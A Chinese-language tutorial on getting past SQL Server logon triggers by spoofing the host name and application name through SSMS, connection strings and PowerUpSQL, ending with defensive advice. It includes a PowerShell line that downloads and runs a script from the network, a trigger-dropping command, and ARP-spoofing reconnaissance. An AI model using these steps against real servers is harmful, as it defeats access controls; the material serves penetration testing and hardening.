如何绕过SQL Server登录触发器限制
字数 1143 2025-08-29 08:32:18

SQL Server登录触发器绕过技术详解

1. 登录触发器概述

登录触发器是一种特殊的存储过程,在SQL Server身份验证通过后、会话完全建立前执行。主要用于:

  • 根据时间限制访问
  • 基于主机名限制访问
  • 基于应用程序名限制访问
  • 限制单个用户的并发会话数

2. 创建限制主机名的登录触发器

2.1 查看当前主机名

SELECT HOST_NAME()

2.2 创建主机名白名单触发器

CREATE TRIGGER MyHostsOnly ON ALL SERVER FOR LOGON AS
BEGIN
    IF (
        HOST_NAME() NOT IN ('ProdBox', 'QaBox', 'DevBox', 'UserBox')
    )
    BEGIN
        RAISERROR('You are not allowed to login', 16, 1);
        ROLLBACK;
    END
END

3. 绕过主机名限制的方法

3.1 使用SSMS伪造主机名

  1. 打开"Connect Object Explorer"
  2. 导航到"Additional Connection Parameters"
  3. 设置"Workstation ID"属性为白名单中的主机名(如"DevBox")

3.2 使用连接字符串伪造主机名

Data Source=server\instance1;Initial Catalog=Master;Integrated Security=True;Workstation ID=DevBox;

3.3 使用PowerUpSQL伪造主机名

# 加载PowerUpSQL
IEX (New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerUpSQL/master/PowerUpSQL.ps1")

# 绕过触发器
Get-SQLQuery -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -Query "SELECT host_name()" -WorkstationId "DevBox"

4. 创建限制应用程序名的登录触发器

4.1 查看当前应用程序名

SELECT APP_NAME()

4.2 创建应用程序名白名单触发器

CREATE TRIGGER MyAppsOnly ON ALL SERVER FOR LOGON AS
BEGIN
    IF (
        APP_NAME() NOT IN ('Application1','Application2','SuperApp3000','LegacyApp','DevApp1')
    )
    BEGIN
        RAISERROR('You cannot connect to SQL Server from this machine', 16, 1);
        ROLLBACK;
    END
END

5. 绕过应用程序名限制的方法

5.1 使用SSMS伪造应用程序名

  1. 打开"Connect Object Explorer"
  2. 导航到"Additional Connection Parameters"
  3. 设置"application name"属性为白名单中的应用程序名(如"SuperApp3000")

5.2 使用连接字符串伪造应用程序名

Data Source=server\instance1;Initial Catalog=Master;Integrated Security=True;Application Name=SuperApp3000

Data Source=server\instance1;Initial Catalog=Master;Integrated Security=True;AppName=SuperApp3000

5.3 使用PowerUpSQL伪造应用程序名

Get-SQLQuery -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -Query "SELECT app_name()" -AppName SuperApp3000

6. 获取白名单信息的方法

6.1 查看登录触发器源代码

SELECT name, OBJECT_DEFINITION(OBJECT_ID) as trigger_definition, 
       parent_class_desc, create_date, modify_date, 
       is_ms_shipped, is_disabled
FROM sys.server_triggers
ORDER BY name ASC

6.2 检查应用程序代码

  • 反编译.NET或Java应用程序
  • 查找连接字符串相关关键字
  • 使用工具如JD-GUI和DNSPY

6.3 考察应用流量

  • 使用嗅探工具捕获应用程序启动时的数据库请求
  • 分析获取白名单信息的流量

6.4 使用域系统列表

  • 查询Active Directory获取域计算机列表
  • 遍历测试可能的白名单主机名

6.5 使用MITM记录连接

  • 通过ARP欺骗拦截连接
  • 记录已连接的主机名(注意加密连接的限制)

7. 安全建议

  1. 不要依赖客户端可控信息:避免仅基于客户端可修改的信息(如主机名、应用名)进行访问控制

  2. 使用更安全的替代方案

    • 使用网络或主机级防火墙规则
    • 基于用户组和权限进行访问控制
  3. 触发器删除方法

DROP TRIGGER MyHostsOnly ON ALL SERVER

或通过PowerUpSQL:

Get-SQLQuery -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -WorkstationId "DevBox" -Query 'DROP TRIGGER MyHostsOnly on all server'

8. 总结

本文详细介绍了SQL Server登录触发器的工作原理及绕过技术,重点包括:

  • 通过"Workstation ID"属性伪造主机名
  • 通过"Application Name"/"AppName"属性伪造应用程序名
  • 多种获取白名单信息的方法
  • 相关安全建议和最佳实践

这些技术在渗透测试和遗留系统维护中具有实用价值,同时也提醒开发人员不要过度依赖客户端提供的信息进行安全控制。

SQL Server登录触发器绕过技术详解 1. 登录触发器概述 登录触发器是一种特殊的存储过程,在SQL Server身份验证通过后、会话完全建立前执行。主要用于: 根据时间限制访问 基于主机名限制访问 基于应用程序名限制访问 限制单个用户的并发会话数 2. 创建限制主机名的登录触发器 2.1 查看当前主机名 2.2 创建主机名白名单触发器 3. 绕过主机名限制的方法 3.1 使用SSMS伪造主机名 打开"Connect Object Explorer" 导航到"Additional Connection Parameters" 设置"Workstation ID"属性为白名单中的主机名(如"DevBox") 3.2 使用连接字符串伪造主机名 3.3 使用PowerUpSQL伪造主机名 4. 创建限制应用程序名的登录触发器 4.1 查看当前应用程序名 4.2 创建应用程序名白名单触发器 5. 绕过应用程序名限制的方法 5.1 使用SSMS伪造应用程序名 打开"Connect Object Explorer" 导航到"Additional Connection Parameters" 设置"application name"属性为白名单中的应用程序名(如"SuperApp3000") 5.2 使用连接字符串伪造应用程序名 或 5.3 使用PowerUpSQL伪造应用程序名 6. 获取白名单信息的方法 6.1 查看登录触发器源代码 6.2 检查应用程序代码 反编译.NET或Java应用程序 查找连接字符串相关关键字 使用工具如JD-GUI和DNSPY 6.3 考察应用流量 使用嗅探工具捕获应用程序启动时的数据库请求 分析获取白名单信息的流量 6.4 使用域系统列表 查询Active Directory获取域计算机列表 遍历测试可能的白名单主机名 6.5 使用MITM记录连接 通过ARP欺骗拦截连接 记录已连接的主机名(注意加密连接的限制) 7. 安全建议 不要依赖客户端可控信息 :避免仅基于客户端可修改的信息(如主机名、应用名)进行访问控制 使用更安全的替代方案 : 使用网络或主机级防火墙规则 基于用户组和权限进行访问控制 触发器删除方法 : 或通过PowerUpSQL: 8. 总结 本文详细介绍了SQL Server登录触发器的工作原理及绕过技术,重点包括: 通过"Workstation ID"属性伪造主机名 通过"Application Name"/"AppName"属性伪造应用程序名 多种获取白名单信息的方法 相关安全建议和最佳实践 这些技术在渗透测试和遗留系统维护中具有实用价值,同时也提醒开发人员不要过度依赖客户端提供的信息进行安全控制。